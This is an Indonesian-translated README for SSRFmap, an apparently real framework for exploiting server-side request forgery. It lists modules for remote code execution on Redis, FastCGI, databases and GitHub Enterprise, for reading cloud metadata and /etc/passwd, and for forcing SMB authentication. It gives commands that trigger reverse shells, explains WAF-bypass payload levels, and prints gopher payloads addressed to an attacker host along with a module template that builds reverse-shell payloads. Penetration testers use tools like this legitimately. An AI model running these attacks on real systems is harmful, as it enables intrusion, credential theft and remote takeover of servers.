SSRF sering digunakan untuk memanfaatkan tindakan pada layanan lain, kerangka kerja ini bertujuan untuk menemukan dan mengeksploitasi layanan tersebut dengan mudah. SSRFmap mengambil file permintaan Burp sebagai input dan parameter untuk fuzz.
Pemalsuan Permintaan Sisi Server atau SSRF adalah kerentanan di mana penyerang memaksa server untuk melakukan permintaan atas nama mereka.
Modul berikut sudah diimplementasikan dan dapat digunakan dengan argumen -m
.
Nama | Keterangan |
---|---|
axfr | Transfer zona DNS (AXFR) |
fastcgi | FastCGI RCE |
redis | Redis RCE |
github | RCE Perusahaan Github <2.8.7 |
zabbix | Zabbix RCE |
mysql | Eksekusi Perintah MySQL |
postgres | Eksekusi Perintah Postgres |
docker | Infoleaks Docker melalui API |
smtp | SMTP mengirim email |
portscan | Pindai 8000 port teratas untuk host |
networkscan | HTTP Ping menyapu jaringan |
readfiles | Baca file seperti /etc/passwd |
alibaba | Membaca file dari penyedia (misalnya: meta-data, data pengguna) |
aws | Membaca file dari penyedia (misalnya: meta-data, data pengguna) |
gce | Membaca file dari penyedia (misalnya: meta-data, data pengguna) |
digitalocean | Membaca file dari penyedia (misalnya: meta-data, data pengguna) |
socksproxy | Proksi SOCKS4 |
smbhash | Paksa autentikasi SMB melalui Jalur UNC |
tomcat | Serangan bruteforce terhadap Manajer Tomcat |
custom | Kirim data khusus ke layanan mendengarkan, misalnya: netcat |
memcache | Simpan data di dalam instance memcache |
Dari repositori Github.
$ git clone https: // github.com / swisskyrepo / SSRFmap
$ cd SSRFmap /
$ pip3 install - r requirements.txt
$ python3 ssrfmap.py
usage: ssrfmap.py [ - h ] [ - r REQFILE ] [ - p PARAM ] [ - m MODULES ] [ - l HANDLER ]
[ - v [ VERBOSE ]] [ -- lhost LHOST ] [ -- lport LPORT ]
[ -- uagent USERAGENT ] [ -- ssl [ SSL ]] [ -- level [ LEVEL ]]
optional arguments:
- h , -- help show this help message and exit
- r REQFILE SSRF Request file
- p PARAM SSRF Parameter to target
- m MODULES SSRF Modules to enable
- l HANDLER Start an handler for a reverse shell
- v [ VERBOSE ] Enable verbosity
-- lhost LHOST LHOST reverse shell or IP to target in the network
-- lport LPORT LPORT reverse shell or port to target in the network
-- uagent USERAGENT User Agent to use
-- ssl [ SSL ] Use HTTPS without verification
-- proxy PROXY Use HTTP(s) proxy (ex: http: // localhost: 8080 )
-- level [ LEVEL ] Level of test to perform ( 1 - 5 , default : 1 )
Buruh pelabuhan
$ git clone https: // github.com / swisskyrepo / SSRFmap
$ docker build -- no - cache - t ssrfmap .
$ docker run - it ssrfmap ssrfmap.py [ OPTIONS ]
$ docker run - it - v $ (pwd): / usr / src / app ssrfmap ssrfmap.py
Pertama, Anda memerlukan permintaan dengan parameter untuk fuzz, permintaan Burp berfungsi baik dengan SSRFmap. Mereka akan terlihat seperti berikut ini. Contoh lainnya tersedia di folder ./examples .
POST / ssrf HTTP / 1.1
Host: 127.0 . 0.1 : 5000
User - Agent: Mozilla / 5.0 (X11; Linux x86_64; rv: 62.0 ) Gecko / 20100101 Firefox / 62.0
Accept: text / html , application / xhtml + xml , application / xml;q = 0.9 , */* ;q = 0.8
Accept - Language: en - US , en;q = 0.5
Accept - Encoding: gzip , deflate
Referer: http: // mysimple.ssrf /
Content - Type: application / x - www - form - urlencoded
Content - Length: 31
Connection: close
Upgrade - Insecure - Requests: 1
url = https % 3A % 2F % 2Fwww.google.fr
Gunakan -m
diikuti dengan nama modul (dipisahkan dengan tanda ,
jika Anda ingin meluncurkan beberapa modul).
# Launch a portscan on localhost and read default files
python ssrfmap.py - r examples / request.txt - p url - m readfiles , portscan
Jika Anda ingin menginjeksi parameter header, GET, atau POST ke dalam, Anda hanya perlu menentukan nama parameternya
python ssrfmap.py - r examples / request6.txt - p X - Custom - Header - m readfiles -- rfiles / tmp / test
Jika Anda perlu memiliki agen pengguna khusus, gunakan --uagent
. Beberapa target akan menggunakan HTTPS, Anda dapat mengaktifkannya dengan --ssl
.
# Launch a portscan against an HTTPS endpoint using a custom user-agent
python ssrfmap.py - r examples / request.txt - p url - m portscan -- ssl -- uagent " SSRFmapAgent "
Beberapa modul memungkinkan Anda membuat koneksi kembali, Anda harus menentukan LHOST
dan LPORT
. SSRFmap juga dapat mendengarkan reverse shell yang masuk.
# Triggering a reverse shell on a Redis
python ssrfmap.py - r examples / request.txt - p url - m redis -- lhost = 127.0 . 0.1 -- lport = 4242 - l 4242
# -l create a listener for reverse shell on the specified port
# --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payload
Ketika target dilindungi oleh WAF atau beberapa filter, Anda dapat mencoba berbagai payload dan pengkodean dengan parameter --level
.
# --level : ability to tweak payloads in order to bypass some IDS/WAF. e.g: 127.0.0.1 -> [::] -> 0000: -> ...
Cara cepat untuk menguji kerangka kerja dapat dilakukan dengan layanan SSRF data/example.py
.
Lokal
FLASK_APP = examples / example.py flask run &
python ssrfmap.py - r examples / request.txt - p url - m readfiles
Buruh pelabuhan
docker build -- no - cache - t ssrfmap .
# run example ssrf http service
docker run - it - v $ (pwd): / usr / src / app -- name example ssrfmap examples / example.py
# run example ssrf dns service
docker exec - u root:root - it example python examples / ssrf_dns.py
# run ssrfmap tool
docker exec - it example python ssrfmap.py - r examples / request.txt - p url - m readfiles
Luncurkan permintaan pengujian:
docker exec - it example python ssrfmap.py - r examples / request.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request2.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request3.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request4.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request5.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request6.txt - p X - Custom - Header - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request.txt - p url - m axfr
docker exec - it example python ssrfmap.py - r examples / request3.txt - p url - m axfr -- lhost 127.0 . 0.1 -- lport 53 -- ldomain example.lab
Saya ❤️ menarik permintaan :) Jangan ragu untuk menambahkan fitur apa pun yang tercantum di bawah atau layanan baru.
gopher: // < proxyserver > : 8080 / _GET http: // < attacker: 80 > / x HTTP / 1.1 % 0A % 0A
gopher: // < proxyserver > : 8080 / _POST % 20http: // < attacker > : 80 / x % 20HTTP / 1.1 % 0ACookie: % 20eatme % 0A % 0AI + am + a + post + body
Kode berikut adalah templat jika Anda ingin menambahkan modul yang berinteraksi dengan suatu layanan.
from core . utils import *
import logging
name = "servicename in lowercase"
description = "ServiceName RCE - What does it do"
author = "Name or pseudo of the author"
documentation = [ "http://link_to_a_research" , "http://another_link" ]
class exploit ():
SERVER_HOST = "127.0.0.1"
SERVER_PORT = "4242"
def __init__ ( self , requester , args ):
logging . info ( "Module '{}' launched !" . format ( name ))
# Handle args for reverse shell
if args . lhost == None : self . SERVER_HOST = input ( "Server Host:" )
else : self . SERVER_HOST = args . lhost
if args . lport == None : self . SERVER_PORT = input ( "Server Port:" )
else : self . SERVER_PORT = args . lport
# Data for the service
# Using a generator to create the host list
# Edit the following ip if you need to target something else
gen_host = gen_ip_list ( "127.0.0.1" , args . level )
for ip in gen_host :
port = "6379"
data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
payload = wrapper_gopher ( data , ip , port )
# Handle args for reverse shell
payload = payload . replace ( "SERVER_HOST" , self . SERVER_HOST )
payload = payload . replace ( "SERVER_PORT" , self . SERVER_PORT )
# Send the payload
r = requester . do_request ( args . param , payload )
Anda juga dapat berkontribusi dengan bir IRL atau melalui tombol Sponsor Github.